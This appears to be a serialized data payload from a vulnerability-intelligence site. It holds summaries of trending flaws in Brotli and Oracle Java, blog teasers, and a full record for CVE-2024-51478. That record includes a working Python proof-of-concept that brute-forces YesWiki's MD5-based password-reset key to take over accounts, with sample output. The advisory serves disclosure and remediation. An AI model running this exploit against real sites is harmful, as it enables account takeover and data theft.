[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2024-51478":30,"landing-articles":118},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":71,"references":73,"score":79,"epss_score":80,"epss_percentile":81,"is_kev":82,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":83,"attack_mappings":93,"exploits":116},27549,"CVE-2024-51478","EUVD-2024-2932","YesWiki Uses a Broken or Risky Cryptographic Algorithm\n\n### Summary\nThe use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.\n\n### Details\nFirstly, the salt used to hash the password reset key is hard-coded in the `includes\u002Fservices\u002FUserManager.php` file at line `36` :\n\n```php\nprivate const PW_SALT = 'FBcA';\n```\n\nNext, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes\u002Fservices\u002FUserManager.php` file at line `201` :\n\n```php\nprotected function generateUserLink($user)\n{\n    \u002F\u002F Generate the password recovery key\n    $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);\n```\n\nThe key is generated from the **user's name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**.\nIf we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.\n\n### Proof of Concept (PoC)\nTo demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n# -*- coding: utf-8 -*-\n# Author: Nishacid\n# YesWiki \u003C= 4.4.4 Account Takeover via Weak Password Reset Crypto\n\nfrom hashlib import md5\nfrom requests import post, get\nfrom base64 import b64encode\nfrom sys import exit\nfrom datetime import datetime\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom argparse import ArgumentParser\n\n# Known data\nsalt = 'FBcA' # Hardcoded salt \nrandom_range = 10000  # Range for random_int()\nWORKERS = 20 # Number of workers\n\n# Arguments\ndef parseArgs():\n    parser = ArgumentParser()\n    parser.add_argument(\"-u\", \"--username\", dest=\"username\", default=None, help=\"Username of the account\", required=True)\n    parser.add_argument(\"-e\", \"--email\", dest=\"email\", default=None, help=\"Email of the account\", required=True)\n    parser.add_argument(\"-d\", \"--domain\", dest=\"domain\", default=None, help=\"Domain of the target\", required=True)\n    return parser.parse_args()\n\n# Reset password request and get timestamp  \ndef reset_password(email: str, domain: str):\n    response = post(\n        f'{domain}?MotDePassePerdu',\n        data={\n            'email': email, \n            'subStep': '1'\n        },\n        headers={\n            'Content-Type': 'application\u002Fx-www-form-urlencoded'\n        }\n    )\n    if response.ok:\n        timestamp = datetime.now() # obtain the timestamp\n        timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')\n        print(f\"[*] Requesting link for {email} at {timestamp}\")\n        return timestamp\n    else:\n        print(\"[-] Error while resetting password.\")\n        exit()\n\n# Generate and check keys\ndef check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):\n    user_base64 = b64encode(username.encode()).decode()\n    data = f\"{username}_{email}{random_int_val}{timestamp_req}{salt}\"\n    hash_candidate = md5(data.encode()).hexdigest()\n    url = f\"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}\"\n    # print(f\"[*] Checking {url}\")\n    response = get(url)\n    \n    # Check if the link is valid, warning depending on the language\n    if '\u003Cstrong>Bienvenu.e' in response.text or '\u003Cstrong>Welcome' in response.text:\n        return (True, random_int_val, hash_candidate, url)\n    return (False, random_int_val, None, None)\n\ndef main(timestamp_req: str, domain: str, username: str, email: str):\n    # Launch the brute-force\n    print(f\"[*] Starting brute-force, it can take few minutes...\")\n    with ThreadPoolExecutor(max_workers=WORKERS) as executor:\n        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]\n        \n        for future in as_completed(futures):\n            success, random_int_val, hash_candidate, url = future.result()\n            if success:\n                print(f\"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}\")\n                print(f\"[+] URL: {url}\")\n                exit()\n        else:\n            print(\"[-] Key not found.\")\n\nif __name__ == \"__main__\":\n    args = parseArgs()\n    timestamp_req = reset_password(args.email, args.domain)\n    main(timestamp_req, args.domain, args.username, args.email)\n```\n\nSimply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain.\n\n```bash\n» python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http:\u002F\u002Flocalhost\u002F' \n[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48\n[*] Starting brute-force, it can take few minutes...\n[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9\n[+] URL: http:\u002F\u002Flocalhost\u002F?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K\n```\n\n### Impact\nMany impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition\u002Fdeletion of administrator accounts, user identity theft, etc.\n\n### Recommendation \nThe safest solution is to replace the salt with a random one and the hash algorithm with a more secure one.\nFor example, you can use [random bytes](https:\u002F\u002Fwww.php.net\u002Fmanual\u002Fen\u002Ffunction.random-bytes.php) instead of a random integer.","2024-10-31T17:12:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":44,"availabilityImpact":44,"privilegesRequired":45,"confidentialityImpact":46},"CHANGED","3.1",9.9,"NETWORK","CRITICAL","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:L\u002FA:L","LOW","NONE","HIGH",true,[49],"CWE-327",[51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70],"cpe:2.3:a:yeswiki:yeswiki:4.2.3:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:-:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.2.0:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.3.0:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.1.5:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.3.1:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.4.3:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.1.1:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.1.3:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.2.4:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.4.4:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.1.2:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.1.4:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.4.2:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.2.2:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.1.0:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.4.1:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:*:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.4.0:*:*:*:*:*:*:*","cpe:2.3:a:yeswiki:yeswiki:4.2.1:*:*:*:*:*:*:*",[72],"Yeswiki Yeswiki",[74,75,76,77,78],"https:\u002F\u002Fgithub.com\u002FYesWiki\u002Fyeswiki\u002Fcommit\u002Fb5a8f93b87720d5d5f033a4b3a131ce0fb621dbc","https:\u002F\u002Fgithub.com\u002FYesWiki\u002Fyeswiki\u002Fcommit\u002Fe1285709f6f6a2277bd0075acf369f33cefd78f7","https:\u002F\u002Fgithub.com\u002FYesWiki\u002Fyeswiki\u002Fsecurity\u002Fadvisories\u002FGHSA-4fvx-h823-38v3","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2024-51478","https:\u002F\u002Fgithub.com\u002FYesWiki\u002Fyeswiki",0.85,0.00373,0.31021,false,{"timestamp":84,"automatable":85,"tech_impact":86,"exploitation":87,"cisa_decision":88,"cisa_remediation_timeline":92},"2024-10-31T16:50:17.636181Z","yes","total","poc",{"vector":89,"decision":90,"priority":91},"CISAv1\u002FE:P\u002FA:Y\u002FT:T\u002FM:H\u002F2026-10-26T02:42:27.968698\u002F","attend","medium","3D",[94,100,109],{"name":95,"source":96,"tactics":97,"technique_id":99},"Exploit Public-Facing Application","attack_vector",[98],"initial-access","T1190",{"name":101,"source":102,"cwe_ids":103,"tactics":104,"capec_ids":106,"technique_id":108},"Invalid Code Signature","capec",[49],[105],"stealth",[107],"CAPEC-473","T1036.001",{"name":110,"source":102,"cwe_ids":111,"tactics":112,"capec_ids":114,"technique_id":115},"Code Signing",[49],[113],"defense-impairment",[107],"T1553.002",[117],{"link":76},{"count":119,"next":120,"previous":6,"results":121},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[122,130,138],{"id":123,"title":124,"summary":125,"published_at":126,"type":127,"link":128,"image_url":129},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":131,"title":132,"summary":133,"published_at":134,"type":135,"link":136,"image_url":137},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":139,"title":140,"summary":141,"published_at":142,"type":143,"link":144,"image_url":145},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]